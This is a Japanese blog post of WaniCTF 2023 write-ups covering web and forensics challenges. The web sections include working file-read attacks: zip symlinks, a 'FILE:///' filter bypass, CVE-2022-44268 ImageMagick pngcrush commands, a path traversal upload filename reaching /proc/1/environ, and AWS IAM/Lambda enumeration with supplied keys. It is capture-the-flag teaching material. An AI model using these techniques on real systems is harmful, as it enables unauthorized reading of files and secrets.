はまやんはまやんはまやん

hamayanhamayan's blog

WaniCTF 2023 Writeups

[web] IndexedDB

とりあえずBurp Suiteを開き、サイトを見てみる。
GET /を開いてみると以下のようなjavascriptコードが見て取れる。

window.onload = function () {
    var openRequest = indexedDB.open("testDB");

    openRequest.onupgradeneeded = function () {
    connection = openRequest.result;
    var objectStore = connection.createObjectStore("testObjectStore", {
        keyPath: "name",
    });
    objectStore.put({ name: "FLAG{[redacted]}" });
    };
    ...
}

身も蓋も無い解法だが、これを見るとフラグが書いてあるので、それを答えると正答。

[web] Extract Service 1

officeファイルを与えると、書かれている文字列を抽出して返してくれるアプリ。
ソースコードが与えられているので見てみると、zipとして解凍してテキストを抽出している。
シンボリックを入れることで任意のファイルを読み取ることができないだろうか。

  1. ln -s /flag flagシンボリックリンク作成
  2. zip -ry x.zip flag でzipにする

これを送ってやればいい。
zipの中のどのファイルを表示するかは、POSTのtargetというパラメタで指定可能。

POST / HTTP/1.1
Host: extract1-web.wanictf.org
Content-Length: 457
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary31EmG2GSyMaONPVG
Connection: close

------WebKitFormBoundary31EmG2GSyMaONPVG
Content-Disposition: form-data; name="file"; filename="x.zip"
Content-Type: application/x-zip-compressed

PK
...
------WebKitFormBoundary31EmG2GSyMaONPVG
Content-Disposition: form-data; name="target"

flag
------WebKitFormBoundary31EmG2GSyMaONPVG--

みたいな感じで送ればフラグが得られる。

[web] 64bps

この問題について少し説明をすると、

  • nginx.confのlimit_rate 8; # [web] 8 bytes/s = 64 bps 毎秒8バイトしか送られてこない
  • Dockerfileのdd if=/dev/random of=2gb.txt bs=1M count=2048 && cat flag.txt >> 2gb.txt 2gb.txtの末尾にフラグがあるが、その前に2048MBのゴミデータが入っている

という感じ。
なので、むっちゃ転送速度が遅いのに、フラグが奥の方にあるからどうする?という問題。

色々考えを巡らしたり実験するとRangeヘッダーでフラグを得ることができた。
HTTPリクエストには様々なヘッダーを付与できるが、その中でRangeヘッダーはリソースの取得byte rangeを指定することができるヘッダーになる。
1024×1024×2048は2147483648なので、以下のようなリクエストを送れば先頭のゴミデータを飛ばしてフラグを取得できる。
それでも時間が結構かかるが、気長に待てば送られてくる。

GET /2gb.txt HTTP/1.1
Host: 64bps-web.wanictf.org
Connection: close
Range: bytes=2147483648-

[web] Extract Service 2

パッチが当てられて、拡張子に合わせて開く場所が固定にされている。
指定のパスにシンボリックリンクを張れば問題ない。

docxの場合はword/document.xmlなので、以下のようにやるとフラグが得られる。

  1. mkdir wordとしてcd word
  2. ln -s /flag document.xmlシンボリックリンク作成
  3. cd ../で戻って、zip -ry x.zip word でzipにする

[web] screenshot

スクリーンショットを取ってくれるwebサービスが与えられる。
フラグは/flag.txtにあるので、これを持ってくる。

file://で持ってこれそうだが、以下のようなフィルタリングがかかっている。

if (!req.query.url.includes("http") || req.query.url.includes("file")) {
    res.status(400).send("Bad Request");
    return;
}

前半のhttpはどこにhttpがあってもいいし、後半のfileは小文字しかマッチングされないので、
以下のようにやればフラグが手に入る。

FILE:///http/../flag.txt

[web] certified1

Dockerfileで特定バージョンのImageMagickが置かれているのが特徴的。

ARG MAGICK_URL="https://github.com/ImageMagick/ImageMagick/releases/download/7.1.0-51/ImageMagick--gcc-x86_64.AppImage"

脆弱性情報を調べると日本語記事で良さそうなのが見つかる。

CVE-2022-44268 ImageMagick Arbitrary File Read - shimojubox

ここに書いてある通りにやって/flag_Aを抜き出してみよう。

$ convert -size 500x500 xc:white test.png

$ pngcrush -text a "profile" "/flag_A" test.png read_flag1.png
  Recompressing IDAT chunks in test.png to read_flag1.png
   Total length of data found in critical chunks            =       179
   Best pngcrush method        =   5 (ws 15 fm 1 zl 9 zs 1) =       179
CPU time decode 0.004579, encode 0.007305, other 0.008650, total 0.024044 sec

これで作成したread_flag1.pngをサービスにアップロードして応答を得る。

$ identify -verbose 5025f8fc-e012-4e48-95bc-1a5120173765.png 
Image:
  Filename: 5025f8fc-e012-4e48-95bc-1a5120173765.png
  Format: PNG (Portable Network Graphics)
  Mime type: image/png
  Class: PseudoClass
...
    Raw profile type:

      42
464c4[redacted]17d0a

    signature: c984ee3cffb73bfe6b045d9af5c2cf26f72a8731188e5ac7f911d2ef570c9e6c
...

profile typeとしてhex stringsが記録されているのでCyberChefでデコードするとフラグ獲得。

[web] Lambda

添付ファイルで、Access key ID、Secret access key、Regionが与えられるのでこれを使ってアクセスしてみよう。
AWS CLIを使っていく。

$ aws configure
AWS Access Key ID []: ******************7
AWS Secret Access Key []: ******************3
Default region name []: ap-northeast-1
Default output format [None]:

こんな感じでセットして、コマンドを使っていく。
APIサーバーとしてk0gh2dp2jg.execute-api.ap-northeast-1.amazonaws.comが使われている。
問題名にもあるようにlambdaを探索する。

$ aws lambda list-functions

An error occurred (AccessDeniedException) when calling the ListFunctions operation: User: arn:aws:iam::839865256996:user/SecretUser is not authorized to perform: lambda:ListFunctions on resource: * because no identity-based policy allows the lambda:ListFunctions action

ユーザー名はSecretUser。
ポリシーを確認してみよう。

$ aws iam list-attached-user-policies --user-name SecretUser --query 'AttachedPolicies[].PolicyArn'
[
    "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc",
    "arn:aws:iam::aws:policy/AWSCompromisedKeyQuarantineV2"
]

$ aws iam get-policy --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc
{
    "Policy": {
        "PolicyName": "WaniLambdaGetFunc",
        "PolicyId": "ANPA4HC66ZQSAS4EGIKSK",
        "Arn": "arn:aws:iam::839865256996:policy/WaniLambdaGetFunc",
        "Path": "/",
        "DefaultVersionId": "v1",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-04-23T01:27:27+00:00",
        "UpdateDate": "2023-04-23T01:27:27+00:00",
        "Tags": []
    }
}

$ aws iam get-policy-version --policy-arn arn:aws:iam::839865256996:policy/WaniLambdaGetFunc --version-id v1
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "VisualEditor0",
                    "Effect": "Allow",
                    "Action": [
                        "iam:ListPolicies",
                        "iam:GetRole",
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:ListAttachedRolePolicies",
                        "iam:ListAttachedUserPolicies",
                        "iam:ListRoles",
                        "apigateway:GET",
                        "iam:ListRolePolicies",
                        "iam:GetRolePolicy"
                    ],
                    "Resource": "*"
                },
                {
                    "Sid": "VisualEditor1",
                    "Effect": "Allow",
                    "Action": "lambda:GetFunction",
                    "Resource": "arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function"
                }
            ]
        },
        "VersionId": "v1",
        "IsDefaultVersion": true,
        "CreateDate": "2023-04-23T01:27:27+00:00"
    }
}

ふむふむ。
関数のARNが分かったし、GetFunctionができるのでソースコードを抜いてこよう。

$ aws lambda get-function --function-name arn:aws:lambda:ap-northeast-1:839865256996:function:wani_function
{
...
    "Code": {
        "RepositoryType": "S3",
        "Location": "https://aw..."
    }
}

Code > Locationにソースコードのダウンロードリンクが乗っているので持ってくる。
WaniCTF_Lambda.dllが落ちてくるのでdnSpyで開くとフラグが書いてある。

[web] certified2

次は環境変数を取得してやる。
docker環境を見てみると/proc/1/environを取ってくればいいと思うのだが、うまくいかない。
改めて調査してみると、kurenaifさんの動画が見つかる。

【ImageMagick】ImageMagickであった情報漏洩の脆弱性を詳しく解説!【cve-2022-44268】【悪用厳禁】 - YouTube

ほー、参考になるなぁ…と思いながら見てみると、疑問で/proc/self/environが取れないかという話をしていて面白すぎる。
lseekを使ってファイルサイズを取得していて、0になるから取得ができていないとのこと。

うーむ、別の怪しい所を探してみると、パストラバーサルあたりの脆弱性が気になる。
色々観察すると、面白い挙動を見つける。
POST /createでファイル名を使ってパストラバーサルをすると特定ファイルを/data/[uuid]/inputとして取り出して来ることができることに気が付く。
ここまで持ってくることができれば前述の脆弱性を使って再度取り出せるので、これを利用することにしよう。

まず、以下のようなリクエストで/proc/1/environを移動させる。

POST /create HTTP/1.1
Host: certified-web.wanictf.org
Content-Length: 209
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarynhRb8NemRluVGlVs
Connection: close

------WebKitFormBoundarynhRb8NemRluVGlVs
Content-Disposition: form-data; name="file"; filename="../../../../../../proc/1/environ"
Content-Type: image/png

hoge
------WebKitFormBoundarynhRb8NemRluVGlVs--

以下のように帰ってきたとする。

HTTP/1.1 500 Internal Server Error
Server: nginx
Date: Sat, 06 May 2023 05:36:43 GMT
Content-Type: text/plain; charset=utf-8
Content-Length: 208
Connection: close

Failed to process image

Caused by:
    image processing failed on ./data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74:
    magick: no decode delegate for this image format `' @ error/constitute.c/ReadImage/741.
    

すると、パストラバーサル先のファイルが/data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74/inputに保存されてくるので、
脆弱性を再度使って、$ pngcrush -text a "profile" "/data/c30bb6ca-63a6-4c9f-ade1-0b3c3fb88a74/input" test.png read_flag2.pngとして
アップロードして出てきたpng画像を$ identify -verbose 0e6a077e-2091-429f-a3c7-13308ee5ede3.pngみたいにすればhex形式のフラグが手に入る。

[forensics] Just_mp4

mp4ファイルが与えられる。
とりあえずexiftoolを試すと面白いものが見つかる。

$ exiftool chall.mp4 
ExifTool Version Number         : 12.57
File Name                       : chall.mp4
...
Publisher                       : flag_base64:[redacted]
Image Size                      : 512x512
...

ok.
これをbase64デコードするとフラグが出てくる。

[forensics] whats_happening

updogというよくわからないファイルが与えられる。
よくわからないファイルにはfileコマンドを試すのが定石。

$ file *
updog: ISO 9660 CD-ROM filesystem data 'ISO Label'

7zipってiso展開できたよな…と思って試してみると成功する。
7z x updogとするとFLAG.pngというのが見つかるので、開くとフラグが書いてある。

[forensics] lowkey_messedup

pcapファイルが与えられる。
USBパケットが記録されているので、とりあえずキーロガーだろうと予測を立てて、
ソルバーを使ってキー入力を抽出してこよう。

どうやってもいいのだが、とりあえず以下のプロジェクトを使って抽出した。
w3irdsh4rk/CTF-Usb_Keyboard_Parser: USB Keyboard Parser Tool is an automated script that can extract HID data from.pcap or.pcapng files.

$ python3 CTF-Usb_Keyboard_Parser/Usb_Keyboard_Parser.py chall.pcap

[+]Using filter "usb.capdata" Retrived HID Data is :

FLAG{[redacted]}

[+]Using filter "usbhid.data" Retrived HID Data is :

フラグが得られた。

[forensics] beg_for_a_peg

pcapngファイルが与えられる。
中身を見るとHTTP通信が記録されているので、生データをもってこよう。
wireshark > ファイル > オブジェクトをエクスポート > HTTP
でファイルを持ってくることにしよう…としたがflag.pngが分割されてしまう。
なぜかをちゃんと考えるべきなのだが、一旦それは置いておいて別の方法を探す。
TCPストリーム#2をみてみると、ちゃんと1つになって出ているようなので、
これを持ってくるとフラグが書かれたjpgファイルになっている。

[forensics] Apocalypse

色々ガチャガチャやっていたが、結局、青い空を見上げればいつもそこに白い猫のステガノグラフィー解析で
ポチポチやってるとフラグがうっすら見えたので書き写すと答え。
CRCがおかしかったのでCRCをもとにピクセル復元とかが求められている気もするが…その辺りはわからず